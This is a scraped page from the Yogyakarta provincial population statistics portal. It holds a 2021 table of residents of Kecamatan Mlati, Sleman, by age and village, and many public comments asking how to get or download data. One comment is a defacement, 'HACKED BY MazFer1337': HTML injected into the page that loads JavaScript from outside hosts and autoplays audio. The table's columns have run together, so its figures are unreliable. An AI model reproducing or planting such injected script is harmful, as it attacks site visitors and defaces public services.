Statistik Penduduk D.I. Yogyakarta

Pilih Periode :
Pilih Jenis Data :
Pilih Menurut :
Provinsi :
Pilih Kabupaten :
Pilih Kecamatan :

Tampilkan Data

SEMESTER II 2021

Jumlah Penduduk KECAMATAN MLATI, KABUPATEN SLEMAN, D.I Yogyakarta SEMESTER II 2021
Menurut Golongan Usia 1

Silakan Login atau Daftar untuk mengunduh berkas
UsiaSINDUADISENDANGADITLOGOADITIRTOADISUMBERADITotal
LPL + PLPL + PLPL + PLPL + PLPL + PLPL+P
<= 1 tahun348339 687188179 367156123 279112112 224175157 332979 910 1.889
2 tahun216213 429127148 2758385 1688666 152112120 232624 632 1.256
3 tahun234214 448127123 25010992 2017885 16310589 194653 603 1.256
4 tahun262230 492134129 26310277 1799167 15881121 202670 624 1.294
5 tahun228216 444143104 24710298 2008767 154110113 223670 598 1.268
6 tahun226191 417144135 2799093 1836671 137115126 241641 616 1.257
7 tahun268251 519144138 28210695 2019180 171141103 244750 667 1.417
8 tahun257237 494133132 2657898 1768983 172129101 230686 651 1.337
9 tahun263246 509161134 2959998 1978391 174120120 240726 689 1.415
10 tahun270293 563136136 272113120 2339283 175132121 253743 753 1.496
11 tahun277251 528156140 29610895 2038789 176140115 255768 690 1.458
12 tahun274289 563154148 3029195 1869985 184131117 248749 734 1.483
13 tahun315248 563152127 27911195 2067296 168143144 287793 710 1.503
14 tahun247259 506134134 268101108 2098285 167132109 241696 695 1.391
15 tahun249235 484147130 2778694 1809365 158132138 270707 662 1.369
16 tahun267234 501140129 26910482 1868088 168133129 262724 662 1.386
17 tahun236210 446103110 2139586 1817475 149104124 228612 605 1.217
18 tahun251234 485151120 2719386 1797771 148111107 218683 618 1.301
19 tahun251247 498104145 24989113 20210185 186126103 229671 693 1.364
20 tahun247252 499142150 29210098 1988980 169131124 255709 704 1.413
21 tahun269264 533148127 27510792 1998585 170149139 288758 707 1.465
22 tahun248201 449135128 26310898 2067769 146118113 231686 609 1.295
23 tahun260219 479127132 2599074 1646664 13010895 203651 584 1.235
24 tahun293231 524122118 24084100 1848476 160110111 221693 636 1.329
25 tahun294236 530122127 2499794 1918166 147115121 236709 644 1.353
26 tahun296280 576113137 250111110 2217285 157116111 227708 723 1.431
27 tahun236254 490138128 2669390 1837685 161111117 228654 674 1.328
28 tahun248231 479141141 28210194 1957471 145111102 213675 639 1.314
29 tahun286287 573121139 26010785 1927276 14811092 202696 679 1.375
30 tahun283241 524129140 2698095 1758573 15894102 196671 651 1.322
31 tahun285262 547120150 2708892 1806576 14192115 207650 695 1.345
32 tahun228261 489139131 270102103 2057072 14298117 215637 684 1.321
33 tahun243243 486114114 22810494 1985375 12810587 192619 613 1.232
34 tahun253252 505121143 2648492 1768169 15092100 192631 656 1.287
35 tahun254235 489135143 27810674 1808170 151112105 217688 627 1.315
36 tahun274251 525114135 2498590 1757984 163118119 237670 679 1.349
37 tahun270267 537123147 27099104 2038278 160121115 236695 711 1.406
38 tahun270283 553145154 299103134 2379184 175126124 250735 779 1.514
39 tahun267260 527137146 283120123 2439185 176115137 252730 751 1.481
40 tahun284282 566147148 295116118 234106100 206146133 279799 781 1.580
41 tahun309279 588159169 32810490 19410994 203130116 246811 748 1.559
42 tahun302289 591157152 30997102 19911396 209129120 249798 759 1.557
43 tahun244302 546131147 27810593 1987494 168115140 255669 776 1.445
44 tahun271272 543145146 29111080 19010996 205121132 253756 726 1.482
45 tahun266300 566139138 277107104 2118097 177140130 270732 769 1.501
46 tahun279252 531131147 278102116 21892106 198130143 273734 764 1.498
47 tahun262226 488128138 2669276 1687867 145127125 252687 632 1.319
48 tahun249244 493124117 24184101 1856890 15813096 226655 648 1.303
49 tahun249282 531118125 243103105 2089987 186127145 272696 744 1.440
50 tahun250252 502132129 26181102 1837963 142116110 226658 656 1.314
51 tahun248241 489141127 2687687 1637290 162110126 236647 671 1.318
52 tahun261269 530125132 25711898 2168393 176146142 288733 734 1.467
53 tahun181274 455120149 26995112 2078274 156133114 247611 723 1.334
54 tahun220237 457107114 22110898 2066775 142130106 236632 630 1.262
55 tahun227216 44393127 2208383 1666472 1368791 178554 589 1.143
56 tahun216250 46699120 2197289 1617282 15487108 195546 649 1.195
57 tahun160222 382112132 2446891 1597063 13374104 178484 612 1.096
58 tahun184209 39387121 2086687 1535061 1118882 170475 560 1.035
59 tahun188231 41992100 1926482 1465872 1309688 184498 573 1.071
60 tahun163204 36710189 1906071 1314153 948761 148452 478 930
61 tahun182209 391113110 2238693 1796066 12679100 179520 578 1.098
62 tahun163186 34997110 2078371 1544951 1008083 163472 501 973
63 tahun164194 3587586 1617680 1565747 1048490 174456 497 953
64 tahun146184 33080101 1816162 1235458 1127963 142420 468 888
65 tahun134145 2798177 1586763 1305256 1085466 120388 407 795
66 tahun118158 2768764 1514841 894749 965463 117354 375 729
67 tahun122127 2496870 1385650 1064744 916146 107354 337 691
68 tahun112115 2276151 1125145 962830 584155 96293 296 589
69 tahun107108 2155351 1043837 754034 742632 58264 262 526
70 tahun8087 1674443 872632 583031 613644 80216 237 453
71 tahun7180 1514045 852332 552721 483155 86192 233 425
72 tahun6182 1434136 772018 382014 342328 51165 178 343
73 tahun6691 1574332 752330 531531 463240 72179 224 403
74 tahun4375 1181730 47914 231125 362628 54106 172 278
75 tahun4143 841611 271443 572125 463329 62125 151 276
76 tahun5360 1132230 522424 482222 441433 47135 169 304
77 tahun4047 871328 411616 321114 252523 48105 128 233
78 tahun4450 942133 541421 351320 331619 35108 143 251
79 tahun4751 982125 462229 511519 342128 49126 152 278
80 ke atas182254 43676152 22897128 22577130 207107154 261539 818 1.357
Jumlah17.23217.32634.5588.9219.22318.1446.6506.68313.3335.5565.57911.1357.9957.99415.989 46.354 46.805 93.159
sumber DKB Ditjen Dukcapil Kemendagri, diolah Biro Tata Pemerintahan Setda DIY

Silahkan Login atau Daftar untuk mengirim komentar anda

Komentar

data ditemukan sekitar 130 komentar.

Catatan:
- Untuk nomor yang lebih dari 5 digit akan diubah menjadi (number) untuk menjaga kerahasiaan.
- Hanya admin yang dapat melihat isi dari (number).

Asal komen


HACKED BY MazFer1337



html
-- UnknownSec AnonSec Team --
head
titleHacked By MazFer1337title
link relicon hrefhttpsi.top4top.iop_2484lzx6y0.jpg typeimagex-icon
meta namedescription contentwh00pz your security get down
link hrefhttpsfonts.googleapis.comcss2?familyBaumans relstylesheet
link relstylesheet hrefhttpsunknownsec.ameera.co.idassetsflash.css
head
style
body
color FFFFFF
font-family Kelly Slab sans-serif
font-weight 90
height 80vh
margin 0
background-color black

.full-height
height 120vh

.flex-center
align-items center
display flex
justify-content center

.position-ref
position relative

.content
text-align center

style


table width100% height100%
td aligncenter
img altXinixtar 31 srchttpsi.top4top.iop_2484lzx6y0.jpg width300px
h2Pwd? By MazFer1337 Ft RendySech2
h4wh00pz your security get downh4
h4-font colorreduvvufont-brAnon7 - L4N4N9_4K1R4 - Rayzky_ - .meicookies - exa_gans77 - VenoRyan - MR.HAGAN_4040CR4ZY - PohonSagu - .s3nt1n3L - DemonArmy -.MungielL - Nzxsx7 - .G1L4N6_ST86 - kuroaMEpiKAcyu font colorredUnknownSecfont - xinixtar 31 - Hilusion.id - Rao Cyber Team - Sora Cyber Team - indoXploith4
audio srchttpsk.top4top.iom_19562h8em0.mp3 loop1 autoplay1audio
h4-font colorredGreetzfont-brAnonSec Teamh4
div classxCopyright copy 2020 - a hrefmailtocandydevzemzar.netUnknownSecadiv
body
script srchttpsunknownsec.ameera.co.idassetspace.min.jsscript
html


script typetextjavascript srchttpsfakhrysenpai.my.idtoolspentestjso-creatorpasteyTvXi5.txtscript


data jumlah penduduk hargotirto overall sekitar 7.144 orang jumlah penduduk ini setelah dibreakdown berdasarkan jenis pekerjaan menjadi 5.931 orang. terdapat selisih 1.213 orang. kalau ingin mendapatkan penjelasan lebih lanjut kami menghubungi ke nomor mana ya pakbu admin? matur nuwun


lap baik


dimana saya mendapatkan data penduduk per desa?


h1bagush1


bagus


gimana cara mendapatkan data


Perihal saudra sya ada sdikit gangguan jiwa..mkaya dari dulu kog KK dn ktp udah di bisa aktif...mohon dengn dlsangat bantuan ya..


Mohon bantuan dari dukcapil untuk menghidupkan kembali KK dn ktp saudra sya..untuk slanjutya bagaimana harus k kantor apa cukup di kec dn Kel...makasih sblum ya ..


Maaf min, ko data penduduk berdasarkan jenis pekerjaan untuk tiap tahunnya sama semua min, padahal awal tahun kemarin saya buka tiap tahunnya berbeda jumlahnya, ko sekarang dibuka malah ga sinkron ya, mohon perhatian dan diperbaiki, maturnuwun


Data penduduk per desa di setiap kecamatan berdasarkan kelompok umur gak bisa.....mhn tindak lanjut


Mengapa tidak dapat di download ya?


TIDAK BISA DI DOWNLOAD


tidak pernah bisa update. sungguh terlalu


sangat bermanfaat


sangat bermanfaat


sedikit saran tbh perinci sampai data rt dan rw lebih bagus sekali, terima kasih


mak nyuuuussss


bagaimana cara download atau copy data


saya mau download ngga bisa.....thanks


sangat membantu


aku ganteng


Mohon maaf Bapak Ibu admin, apakah ada data penduduk kecamatan kokap menurut jenis kelamin tahun 2012-2013? Karena pilihan yang tersedia hanya sampai tahun 2014. Mohon informasinya. Terimakasih


maaf saya ingin melihat jumlah penduduk berdasarkan usia dilihat dari masing-masing desa di Kab Bantul hari ini, namun kok keluarnya perkecamatan ya? mohon bantuannya terima kasih


tadi saya menanyakan ini
"mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih"
dan saya sudah mendapatkan jawabannya dari sini
"Yang tampil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya." jawaban dari pertanyaan @Elia Ika Rahmawati

terimakasih


mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih


maaf admin, apakah saya bisa meminta data jumlah penduduk menurut golongan umur desa banyusoco, kec.playen, kab.gunungkidul?


Maaf vapakan saya bisa minta jumlah penduduk kec sleman kab sleman berdasarkan golongan umur ?


admin mohon bantuannya...
saya butuh data (KK) yang ada disekita pembangunan kampus 2 UIN sunan kalijaga.
kalau bisa data yang terbaru ya admin..
terima kasih atas kesempatannya


Mohon maaf Bapak Ibu admin, apakah ada data penduduk menurut jenis pekerjaan yang tahun 2012 2013? Karena pilihan yang tersedia tahun terlama sampai 2014. Mohon informasinya. Terimakasih


selamat siang admin, kok tidak bisa di unduh kenapa ya? untuk yang berdasar pendidikan, di kelurahan kecamatan mergangsan


mohon maaf untuk melihat data penduduk kauman saja berdasarkan pekerjaan saja bisa tidak ya min? dari RW 10-13 Kauman. Mohon bantuannya untuk penelitian
Admin menjawab 09.10.18
Silakan minta ke kelurahan.

Mohon maaf Bapak Ibu admin, apakah ada data jumlah penduduk DIY yang didasarkan pada usia, pekerjaan, pendidikan, dan status sosial ekonomi? Karena setelah saya cari2 hanya ada data jumlah penduduk berdasarkan jenis kelamin saja. Mohon informasinya. Terimakasih.
Admin menjawab 09.10.18
Yang tempil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya.

Mohon bantuanya untuk jumlah kk desa prayan kulon soropadab
Untuk keperluan report laporan toko alfamart jembatan merah..


mohon di bantu untuk pencarian orang atas nama JUMADI ( ayah ) umur sekitar 58 tahun, pernah menikah dengan MISTUN asal dari MALANG, ciri2 badan kecil kira2 tinggi 150 cm, kulit hitam dan berkumis tebal. mohon jika ada info bisa Hub, atas nama Endik Purwanto ..WA (number) ( anak kandung )


Kenapa tdk bs di unduh ya?


mohon bantuan jumlah penduduk kelurahan tegalrejo, menurut jenis kelamin, usia, pendidikan, pekerjaan untuk membuat monografi. terimakasih


Min mohon bantuanya , apakah ada data jumlah penduduk rw7 dan rw8 kelurahan tegalrejo untuk membuat monografi. Terimakasih


Min apakah ada data jumlah penduduk gampingan tiap rw nya? Mohon bantuannya min untuk tugas penelitian, makasiih :))


maaf, mau tanya jumlah pasangan usia subur di kecamatan ngemplak tahun 2016 berapa nggeh?


Min saya mau tanya jumlah remaja di cangkringan berapa ya?


Apakah saya bisa mendapatkan data jumlah penduduk di Desa Maguwoharjo , jenis kelamin perempuan usia 17-70 tahun?


maaf min mau nanya bole minta data kemiskinan di setiap kecamatan Kota Yogyakarta?


min. kalau data peduduk pendatang di kecamatan banguntapan bisa disownload atau diperoleh dimana ya? makasih


min, status kependudukan saya kan dinonaktifkan kalau ingin mengurus ke dukcapil sleman berkas apa saja yang harus dibawa? terimakasih


Mau tanya jumlah kk dalam kelurahan triharjo ada berapa ya


Selamat siang, bagaimana cara menghitung penduduk pertengahan tahun? misalkan yang mau saya hitung data penduduk tahun 2006. terimakasih